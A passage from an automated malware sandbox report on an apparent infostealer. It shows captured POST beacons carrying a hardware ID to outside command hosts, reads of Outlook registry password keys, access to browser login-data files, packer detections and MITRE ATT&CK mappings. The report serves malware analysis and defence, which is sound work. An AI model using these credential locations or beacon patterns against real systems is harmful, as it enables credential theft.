(Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----g9rogLHMigaty0s58mAv Cache-Control: no-cache Content-Length: 254" with payload:==> "------g9rogLHMigaty0s58mAvContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------g9rogLHMigaty0s58mAvContent-Disposition: form-data; name="build_id"bfe37e825718e5072b10b3ad73d28e5d------g9rogLHMigaty0s58mAv--" "POST / HTTP/1.1 Host: lts.beznervov.com Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----3smbsOOTr66nUQdxxFOB Cache-Control: no-cache Content-Length: 254" with payload:==> "------3smbsOOTr66nUQdxxFOBContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------3smbsOOTr66nUQdxxFOBContent-Disposition: form-data; name="build_id"412f3a85622ae60a2038c6bb3c6884af------3smbsOOTr66nUQdxxFOB--" "POST / HTTP/1.1 Host: lts.beznervov.com Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----sqEO54RqGVLlFw22ficj Cache-Control: no-cache Content-Length: 254" with payload:==> "------sqEO54RqGVLlFw22ficjContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------sqEO54RqGVLlFw22ficjContent-Disposition: form-data; name="build_id"d6711916f3e2e31a5b99d83cadd44bba------sqEO54RqGVLlFw22ficj--" "POST / HTTP/1.1 Host: cro.munsitex.com.lk Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----X46Nuc3uRQ0Dv3ozssDn Cache-Control: no-cache Content-Length: 254" with payload:==> "------X46Nuc3uRQ0Dv3ozssDnContent-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------X46Nuc3uRQ0Dv3ozssDnContent-Disposition: form-data; name="build_id"fd8fdc89d579f3598340c3edcf29a7cc------X46Nuc3uRQ0Dv3ozssDn--" "POST / HTTP/1.1 Host: cro.munsitex.com.lk Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Content-Type: multipart/form-data; boundary=----Hp93xHcuroSCzz5Jye90 Cache-Control: no-cache Content-Length: 254" with payload:==> "------Hp93xHcuroSCzz5Jye90Content-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058------Hp93xHcuroSCzz5Jye90Content-Disposition: form-data; name="build_id"25285186ddad098e656b60afbd636f36------Hp93xHcuroSCzz5Jye90--"b8:T163a,"QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP EMAIL ADDRESS") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP SERVER") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 SERVER") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 USER NAME") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP USER NAME") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP EMAIL ADDRESS") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP USER NAME") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP SERVER") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP SERVER") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP USER NAME") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "EMAIL") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTP USER") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTP SERVER URL") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 USER") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP USER") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTPMAIL USER NAME") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTPMAIL SERVER") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP USER") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 PASSWORD2") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP PASSWORD2") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP PASSWORD2") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTPMAIL PASSWORD2") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP PASSWORD2") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 PASSWORD") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP PASSWORD") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP PASSWORD") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "HTTPMAIL PASSWORD") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\15.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP PASSWORD") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP EMAIL ADDRESS") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP SERVER") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 SERVER") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "POP3 USER NAME") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "SMTP USER NAME") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP EMAIL ADDRESS") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP USER NAME") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "NNTP SERVER") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP SERVER") "QKTi8Lo.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\16.0\OUTLOOK\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "IMAP USER NAME")b9:Td01,"QKTi8Lo.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Local State" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Local State" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 2" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 3" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 4" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 5" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\SYSTEM PROFILE" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\GUEST PROFILE" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\LOGIN DATA" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\LOGIN DATA FOR ACCOUNT" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\CHROME SXS\USER DATA" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Local State" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\LOGIN DATA FOR ACCOUNT" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 1" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 2" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 3" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 4" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 5" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\SYSTEM PROFILE" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\GUEST PROFILE" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\LOGIN DATA" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\LOGIN DATA FOR ACCOUNT" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\BRAVESOFTWARE\BRAVE-BROWSER\USER DATA" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\YANDEX\YANDEXBROWSER\USER DATA" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\VIVALDI\USER DATA" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\HISTORY" "6TsgDw4.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\HISTORY"ba:T67b,Spawned process " BoB / BobSoft\"\n \"jC9EsXW_1_.exe\" was detected as \"Borland Delphi 4.0\"\n \"svchost015.exe\" was detected as \"BobSoft Mini Delphi -> BoB / BobSoft\"\n \"6TsgDw4_1_.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"1K11J6.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"systemhelper.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"QKTi8Lo_1_.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"Install.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"jC9EsXW.tmp\" was detected as \"Borland Delphi 4.0\"\n \"MSICD63.tmp\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"is-SVRL3.tmp\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"_setup64.tmp\" was detected as \"Morphine v1.2 (DLL)\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"697f65caff59dd688c0c5ea7"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"$b2","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"697f65caff59dd688c0c5ea7"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"63c9960011fa5f8c2aa1bcaee77a0f3914d4f17d94e103f157d36b0042b92e71.bin\" has section name .rsrc with entropy \"7.877074986680488\"\n \"6TsgDw4_1_.exe\" has section name .text with entropy \"7.976294356446924\"\n \"bEKVmef_1_.exe\" has section name .text with entropy \"7.065767306815189\"\n \"QKTi8Lo_1_.exe\" has section name .text with entropy \"7.975249486115545\"\n \"random_1_.exe\" has section name UPX1 with entropy \"7.950649537163632\"\n \"Wfo8KJM.exe\" has section name UPX1 with entropy \"7.95059529018094\"\n \"eNLe4nm_1_.exe\" has section name UPX1 with entropy \"7.950471665458049\"\n \"random_1_.exe\" has section name UPX1 with entropy \"7.950094340734335\"\n \"2g3888.exe\" has section name UPX1 with entropy \"7.950326709281129\"\n \"5GFpJxh.exe\" has section name UPX1 with entropy \"7.9508826062602\"\n \"is-SVRL3.tmp\" has section name .rsrc with entropy \"7.340113559622032\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"697f65caff59dd688c0c5ea7"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"6/26 Antivirus vendors marked sample as malicious (23% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"697f65caff59dd688c0c5ea7"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"FindResourceA@KERNEL32.DLL at 00000000-00005768-29572-35-009F468F\n FindResourceA@KERNEL32.DLL at 00000000-00005768-29572-51-009F4FE0\n LoadResource@KERNEL32.DLL at 00000000-00005768-29572-57-009F6298\n FindResourceA@KERNEL32.DLL at 00000000-00005768-29572-58-009F6517\n FindResourceA@KERNEL32.DLL at 00000000-00005768-29572-71-009F2CAA","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1005","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"697f65caff59dd688c0c5ea7"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$b3","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"697f65caff59dd688c0c5ea7"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"systemhelper.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"systemhelper.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"systemhelper.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"systemhelper.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"systemhelper.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"systemhelper.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"systemhelper.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"\n \"systemhelper.exe\" reads file \"C:\\Users\\%OSUSER%\\Searches\\desktop.ini\"\n \"systemhelper.exe\" reads file \"C:\\Users\\%OSUSER%\\Contacts\\desktop.ini\"\n \"systemhelper.exe\" reads file \"C:\\Users\\%OSUSER%\\Favorites\\desktop.ini\"\n \"systemhelper.exe\" reads file \"C:\\Users\\%OSUSER%\\Links\\desktop.ini\"\n \"systemhelper.exe\" reads file \"C:\\Users\\%OSUSER%\\Saved Games\\desktop.ini\"\n \"systemhelper.exe\" reads file \"C:\\Users\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"697f65caff59dd688c0c5ea7"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$b4","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"697f65caff59dd688c0c5ea7"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"